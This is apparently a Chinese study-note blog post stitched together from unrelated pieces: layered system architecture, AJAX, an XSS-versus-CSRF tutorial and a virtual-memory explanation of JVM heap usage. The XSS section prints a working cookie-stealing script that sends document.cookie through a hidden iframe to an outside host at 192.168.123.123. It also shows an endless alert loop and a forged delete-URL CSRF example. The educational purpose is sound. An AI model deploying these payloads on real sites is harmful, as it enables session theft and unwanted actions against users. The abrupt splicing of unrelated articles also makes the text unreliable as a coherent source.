20180423总结

分层

  分层是企业应用系统中最常见的一种架构模式,将系统在横向维度上切分成几个部分,每个部分负责一部分相对比较单一的职责, 然后通过上层对下层的依赖和调用组成一个完整的系统。

  在大型网站架构中也采用分层结构,将网主占软件系统分为应用层、服务层、数据层。

  分层的好处在于:解耦合,独立发展,伸缩性,可扩展性。上面网站的进化史也凸出了分层的重要性。

  但是分层架构也有一些挑战, 就是必须合理规划层次边界和接口,在开发过程中,严格遵循分层架构的约束, 禁止跨层次的调用( 应用层直接调用数据层)及逆向调用(数据层调用服务层, 或者服务层调用应用层)。

分割

  分层强调的是横向切分,而分割是纵向切分, 上面网站进化史部分的业务拆分就包含了分割。

  分割的目标是高内聚、低耦合的模块单元

  AJAX =  Asynchronous JavaScript and XML. 异步的JavaScript和XML.
     AJAX是一种在不需要重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术.
 
 

这两个关键词也是老生常谈了,但是还总是容易让人忘记与搞混~。
XSS与CSRF这两个关键词时常被拉出来一起比较(尤其是面试),我在这里也在写一篇扫盲文,也帮自己整理一下知识脉络。

这篇文章会用尽量“人话”的语言解释这二个关键词,让同学们对跨域,安全有更深一层次的了解。

国际惯例,先上一下维基百科:

XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言
I
CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法


维基的解释依旧高深莫测啊,我用 “人话”给大家解释一下吧。

XSS: 通过客户端脚本语言(最常见如:JavaScript)
在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!

CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

很多同学会搞不明白XSS与CSRF的区别,虽然这两个关键词时常抱团出现,但他们两个是不同维度的东西(或者说他们的目的是不一样的)。
XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。

通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。
XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。

简单来说,条条大路(XSS路,命令行路)通罗马(CSRF马,XSRF马)。

前面讲了那么多理论介绍,那么我们来看一看实际代码吧。

【 Talk is cheap,Show me the code 】

场景:我在一条帖子里面写下了如下代码,发了出去,然后陆陆续续有很多可爱(wu / zhi) 的用户访问到这个帖子,然后用户接下来的所有操作都由我这串代码掌控了(各种姿势混着玩~)

如下:

while(true){
    alert('你关不掉我');
}

这个就是最原始的脚本注入了。
用户进来就麻烦了,一直弹窗一直弹窗。

那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,如下:


// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document); 

此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。

有没感觉到背后一寒

看到这里感觉到危险了吧(想想初学程序时我们的站点完全没有这个意识,活生生的是在裸奔),=
既然此段脚本注入能携带着用户信息到收集服务器,那么再研究研究,他自然能发邮件?发帖?一系列业务逻辑? ~~当然可以!。

这里tips一下:上面的代码仅仅是XSS,并没有发生CSRF,因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并没有“伪造”用户发起一些请求,所以他只算是XSS攻击而不算是CSRF攻击,如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。

那么下面我介绍一下最最简单的CSRF攻击(没有用到XSS的哦):
一个论坛,经过我的多次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操作是触发 csdnblog.com/bbs/delete_article.php?id=“X" 那么,我只需要在论坛中发一帖,包含一链接:www.csdnblog.com/bbs/delete_article.php?id=“X" ,只要有用户点击了这个链接,那么ID为X的这一篇文章就被删掉了,而且是用户完全不知情的情况(敲黑板状:此处我可没有写XSS脚本哦,我纯粹是发一个url地址出来而已,既然删除操作可以伪造,那么只要我细细分析,其他操作(发帖,改名字,发私信,只要是这个论坛具有的功能)我都可以伪造咯!

DVWA是一款基于php&mysql编写的用于常规WEB漏洞教学和检测的web脆弱性测试web应用。其中包含了SQL注入,盲注,文件包含,XSS,CSRF等一些常见的WEB漏洞,对于我们进行Web渗透有较强的指导教学意义。

作为一个开发人员,我们的程序无时不刻不在跟内存打交道,那你真的理解程序所使用的内存吗?
 
背景
 
前几天,我的知识星球(有兴趣的欢迎加入: https://t.zsxq.com/EUn6IIE)的一个圈友咨询我一个问题:他已经将java启动参数设置为-Xms1g -Xmx1g,启动后,他动过top命令观察,发现其占用的内存远远不到1g。
 
如下这么简单的一个代码:
1
2
3
4
5
public  class  Main {
     public  static  void  main(String[] args) throws  Exception {
         System.in.read(); //防止程序退出
     }
}   

  

其占用的内存却只有这些(使用top -pid命令查看)
 
这个问题呢,当时也是让我脑袋一愣,难道这是JVM做了什么特殊操作吗?读到这里的你也不放思考一下为什么。
 
虚拟地址空间
 
圈友这个问题引发了我更远的思考,于是不得已将大学毕业还给老师的知识重新拿出来分析。
 
如果你大学里学的东西还没还给老师,你应该还知道,咱们的程序进程,是运行在一个虚拟地址空间里。
 
它的寻址过程如下图:
cpu在读取某个地址时,其地址只是一个虚拟地址,由MMU设备将虚拟地址转换成实际的物理内存地址后,在进行读取操作。
 
你或许会好奇为啥使用虚拟地址,但当你看到如下好处后,你肯定会赞叹其牛逼的设计。
 
1、进程间相互隔离
 
如果没有虚拟地址,每个进程直接对物理内存进行操作,势必会存在各个进程相互影响而无法正常进行。
有了虚拟地址,不同进程的虚拟地址,可以映射到不同得物理地址,相互之间无干扰。
 
2、方便内存共享
 
上一个点我们说到了不同进程的虚拟地址,可以映射到不同的物理地址。其实不同进程的虚拟地址也可以映射到相同的物理地址以实现内存共享。
 
比如每个操作系统的进程,都会需要跟内核程序打交道。有了内存共享,多个进程间就可以共用内核程序,而不需要为每一个进程在物理内存里加载一份内核程序。
 
再比如动态链接库,也是通过共享内存实现物理内存中只加载一份的。
 
3、简化编译时的链接
 
由于进程使用的是虚拟地址,以32位机器为例,每个进程的访问范围都是0~4g的地址空间。当我们在编译源代码时,就可以为程序里的变量、方法分配这个虚拟地址,链接的时候就可以直接用这个虚拟地址实现链接。(如果你不理解什么是链接,你可以简单地理解为:将源代码里的方法调用的地方替换为该方法的内存地址)
 
如果没有虚拟地址,程序里的变量、方法的地址,只能是在程序被加载到内存时才能分配,链接也就无法在编译期进行。
 
如下这是一份Linux下进程所在虚拟地址空间里,不同区域的用途分配图:
 
所有linux下的进程都是这种固定的格式,每个区域都有固定的起始地址。JVM进程,本质上就是一个用c++写的普通进程,其地址空间布局也是这样,只不过它会对比如上边的运行时堆,进行更细的划分。
 
 
至于操作系统和硬件是如何管理虚拟地址空间到物理内存的映射,本篇就不做设计了,感兴趣的朋友可以自行阅读操作系统或者计算机系统的书籍。
 
进程使用内存
 
我们的进程,通过虚拟地址来操作内存。那当我们的进程在申请内存空间时,返回的内存地址自然也是虚拟内存地址。但我们申请的这块基于虚拟内存地址的内存,是否有对应的物理内存的分配呢?
 
在这里我们不妨做个简单地实验。我们写一段C程序,调用malloc申请一个1G的内存,然后使用top命令查看此进程所占用的内存空间:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <sys/malloc.h>
#include "unistd.h"
  
int  main( int  argc,  const  char  * argv[]) {
  
     printf ( "pid is %d \n" , getpid());
  
     long  size = 1024*1024*1024;
     char  *p = ( char  *) malloc ( sizeof ( char ) * size);
  
     getchar (); //不让程序退出
     return  0;
}  
编译运行,然后根据打印出的进程id,使用top -pid XXX命令查看内存占用情况。你会发现其内存使用远没有达到1G。换句话说,操作系统并没有马上为我们申请的这个虚拟地址空间分配对应大小的物理内存。
 
何时系统才会给我们的虚拟地址空间分配对应的物理内存呢?
 
我们不妨换个角度理解我们计算机中的物理内存:物理内存是虚拟地址空间内存的高速缓存。
 
在我们使用虚拟地址空间时,如果没有对应的物理内存,就会出现我们常见的缓存不命中的情况。专业术语叫缺页异常。这时内核的缺页异常处理程序,将会帮助我们分配物理内存,如果物理内存不足,它将会选择一个物理内存页作为牺牲,写回磁盘上,这也就是我们所说的交换分区。
 
到这里我们可以看出,我们进程中所使用的内存大小,与真正占用物理内存大小,没有绝对的相等关系。进程申请的内存还没有被使用时,会出现物理内存小于进程内存的情况;进程内存对应的物理内存被写回到交换分区时,也会出现进程内存大于实际物理内存的情况。
 
总结
到这里,Java进程启动时,其占用的内存小于Xms指定的内存大小,就可以说清楚了。它不是JVM的原因,而是操作系统管理进程内存空间的方式上的原因。
 

猜你喜欢

转载自www.cnblogs.com/yelongsan/p/8920556.html
今日推荐